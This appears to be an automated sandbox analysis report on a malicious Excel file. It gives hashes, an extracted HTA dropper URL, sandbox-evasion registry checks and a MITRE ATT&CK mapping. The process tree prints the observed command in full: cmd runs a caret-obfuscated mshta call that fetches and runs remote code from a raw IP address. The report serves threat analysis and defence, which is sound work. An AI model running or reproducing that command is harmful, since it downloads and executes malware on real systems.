a9721d30134917f696b6d1d8f942692e56879f7039db33182225e3113762ff08

General

Target

a9721d30134917f696b6d1d8f942692e56879f7039db33182225e3113762ff08.xls
Size

61KB
MD5

5457d5f6e64422975d0b7c9da77c2a28
SHA1

0a4a707f02e784d2ddf64bc0d20986974dcd4903
SHA256

a9721d30134917f696b6d1d8f942692e56879f7039db33182225e3113762ff08
SHA512

c125cc75d390c1be518e5bb7cb875ddf8c89d8dd1135460d820a69c8fb39714d742f973925a203c077699e70c08d7830c61e204e48fde963c2c70379e328dfc1

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://87.251.86.178/pp/oo.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2988	2824	cmd.exe	68

Blocklisted process makes network request 1 IoCs

flow	pid	Process
40	2252	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2824	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2824	EXCEL.EXE
2824	EXCEL.EXE
2824	EXCEL.EXE
2824	EXCEL.EXE
2824	EXCEL.EXE
2824	EXCEL.EXE
2824	EXCEL.EXE
2824	EXCEL.EXE
2824	EXCEL.EXE
2824	EXCEL.EXE
2824	EXCEL.EXE
2824	EXCEL.EXE
2824	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2824 wrote to memory of 2988	2824	EXCEL.EXE	70
PID 2824 wrote to memory of 2988	2824	EXCEL.EXE	70
PID 2988 wrote to memory of 2252	2988	cmd.exe	72
PID 2988 wrote to memory of 2252	2988	cmd.exe	72

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a9721d30134917f696b6d1d8f942692e56879f7039db33182225e3113762ff08.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2824
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2988
- - C:\Windows\system32\mshta.exe
    mshta http://87.251.86.178/pp/oo.html
    3⤵
    - Blocklisted process makes network request
    PID:2252

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2824-115-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/2824-116-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/2824-117-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/2824-118-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/2824-120-0x0000022B82020000-0x0000022B82022000-memory.dmp

Filesize
8KB

Download
memory/2824-119-0x0000022B82020000-0x0000022B82022000-memory.dmp

Filesize
8KB

Download
memory/2824-121-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/2824-122-0x0000022B82020000-0x0000022B82022000-memory.dmp

Filesize
8KB

Download
memory/2824-128-0x00007FFF786A0000-0x00007FFF786B0000-memory.dmp

Filesize
64KB

Download
memory/2824-129-0x00007FFF786A0000-0x00007FFF786B0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads